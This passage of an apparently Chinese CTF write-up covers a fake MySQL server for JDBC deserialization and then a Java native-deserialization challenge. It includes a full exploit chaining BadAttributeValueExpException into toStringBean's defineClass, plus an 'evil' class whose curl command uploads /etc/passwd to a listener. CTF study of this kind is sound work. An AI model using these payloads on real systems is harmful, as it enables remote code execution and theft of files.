mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
//获取payload
payload_content=get_payload_content()
//计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
//计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break



if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309

sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)

print("start fake mysql server listening on {}:{}".format(HOST,PORT))

run()

中间的原理有一点复杂不太能看懂,先挖个坑。
client:

1
2
3
4
5
6
7
8
9
10
11
12
public class JdbcClient {



public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用

Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}

最近刚刚入门java,找到这道题的wp,理解跟着复现下

首先看下index控制器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}

@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();
return "welcome bro.";
}
}

首先分析下代码逻辑吧。使用了springboot框架,不过并没在代码里体现相关特性,算是晃一枪。然后题目设置了俩个路由,一个根目录一个readobject,看到readobject其实就很明显了,这是道序列化的题。
接着进入/readobject里看,定义了一个unser方法,要求传入data,内部逻辑会先对data进行base64解码,然后转换为字节流

1
2
3
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);

接着要求name和year的值满足if判断,具体逻辑就不说了,很明显

1
2
3
4
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();

题目主要部分分析结束,看一下给的包
图片

结果是空的,说明这道题要用java的原生类,继续看下题目有没有其他线索

题目里给了TostringBean类

图片

该类里面有个toString方法,里面有个defineClass可用于加载动态字节码

所以我们需要找一个原生类通过调用readobject来调用tostring

正好CC5就有这种类BadAttributeValueExpException

这里直接看重点,不放出CC5全部代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class BadAttributeValueExpException extends Exception   {
      private Object val;
  
  private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
}

可以看到代码最下面调用了valobj的tostring方法。valobj也是在上面通过get方法获得的,所以我们是可以通过反射来自由控制的。

整理思路写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com;
import javax.management.BadAttributeValueExpException;
import java.util.Base64;
import java.io.*;
import java.lang.reflect.Field;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

public class exp {
public static byte[] serialize(Object o) throws Exception {
try (ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout);) {
oout.writeUTF("gadgets");
oout.writeInt(2021);
oout.writeObject(o);
return baout.toByteArray();
}

}

public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args)throws Exception {
BadAttributeValueExpException badAdv = new BadAttributeValueExpException();
toStringBean toStringBean = new toStringBean();
setFieldValue(badAdv,"val",toStringBean);
byte[] classByte = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA\n" +
"CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP\n" +
"TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0\n" +
"aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm\n" +
"KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y\n" +
"Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw\n" +
"YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp\n" +
"bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb\n" +
"DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB\n" +
"AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj\n" +
"dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z\n" +
"bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry\n" +
"ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n\n" +
"OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA\n" +
"AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA\n" +
"AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA\n" +
"DwABABAAAAACABE=");
byte[] bytes = serialize(badAdv);
byte[] payload = Base64.getEncoder().encode(bytes);
System.out.println(new String(payload));

}
}

主要解释下main函数里的吧,因为这是做题且只能使用原生类,不能直接照搬cc5,所以直接采取上面的思路。
new一个BadAttributeValueExpException,然后去调用toStringBean里的toString,再去调用defineClass加载字节码,就能执行命令了。这里字节码还需要我们自己再写个恶意类去生成(为了便于理解,可以暂时将字节码理解java程序编译后生成的class文件里的东西)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com;

import java.io.IOException;

public class evil {
public evil() {
try{
String[] command = {"/bin/bash","-c","curl url -F file=@/etc/passwd"};
Runtime.getRuntime().exec(command);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

接下来在自己的服务器开个监听,直接打就行了。